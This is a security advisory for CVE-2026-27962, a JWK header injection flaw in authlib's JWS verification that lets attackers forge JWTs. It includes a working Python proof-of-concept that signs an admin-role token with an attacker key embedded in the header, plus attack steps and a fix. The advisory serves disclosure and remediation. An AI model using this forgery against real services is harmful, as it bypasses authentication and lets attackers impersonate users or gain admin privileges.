PT-2026-25779 · Oauthlib+1 · Oauthlib

Jaynornj

+1

·

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-27962

CVSS v3.1
9.1
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

Summary

A JWK Header Injection vulnerability in
authlib
's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When
key=None
is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT
jwk
header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file:
authlib/jose/rfc7515/jws.py
Vulnerable method:
JsonWebSignature. prepare algorithm key()
Lines: 272–273
elif key is None and "jwk" in header:
  key = header["jwk"]  # ← attacker-controlled key used for verification
When
key=None
is passed to
jws.deserialize compact()
,
jws.deserialize json()
, or
jws.deserialize()
, the library checks the JWT header for a
jwk
field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.
RFC 7515 violations:
  • §4.1.3 explicitly states the
    jwk
    header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the
    jwk
    header when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup key(header, payload):
  kid = header.get("kid")
  return jwks cache.get(kid)  # returns None when kid is unknown/rotated

jws.deserialize compact(token, lookup key)
When an attacker submits a token with an unknown
kid
, the callable legitimately returns
None
. The library then silently falls through to
key = header["jwk"]
, trusting the attacker's embedded key. The developer never wrote
key=None
— the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g.
    {"role": "admin"}
    ).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT
    jwk
    header field.
  5. Attacker uses an unknown
    kid
    to cause the key resolver to return
    None
    .
  6. The library uses
    header["jwk"]
    for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD
a9e4cfee
, Python 3.11).
Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker private = RSAKey.generate key(2048, is private=True)
attacker public jwk = attacker private.as dict(is private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker public jwk}
forged payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged token = jws.serialize compact(header, forged payload, attacker private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize compact(forged token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest 
 python3 /workspace/pocs/poc auth001 jws jwk injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
  • key=None
    is passed directly, or
  • a key resolver callable returns
    None
    for unknown/rotated
    kid
    values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the
jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.
Minimal fix — remove the fallback from
authlib/jose/rfc7515/jws.py:272-273
:
# DELETE:
elif key is None and "jwk" in header:
  key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved:
if key is None:
  raise MissingKeyError("No key provided and no valid key resolvable from context.")

Fix

Improper Verification of Cryptographic Signature

Weakness Enumeration

Related Identifiers

CVE-2026-27962
GHSA-WVWJ-CVRP-7PV5

Affected Products

Oauthlib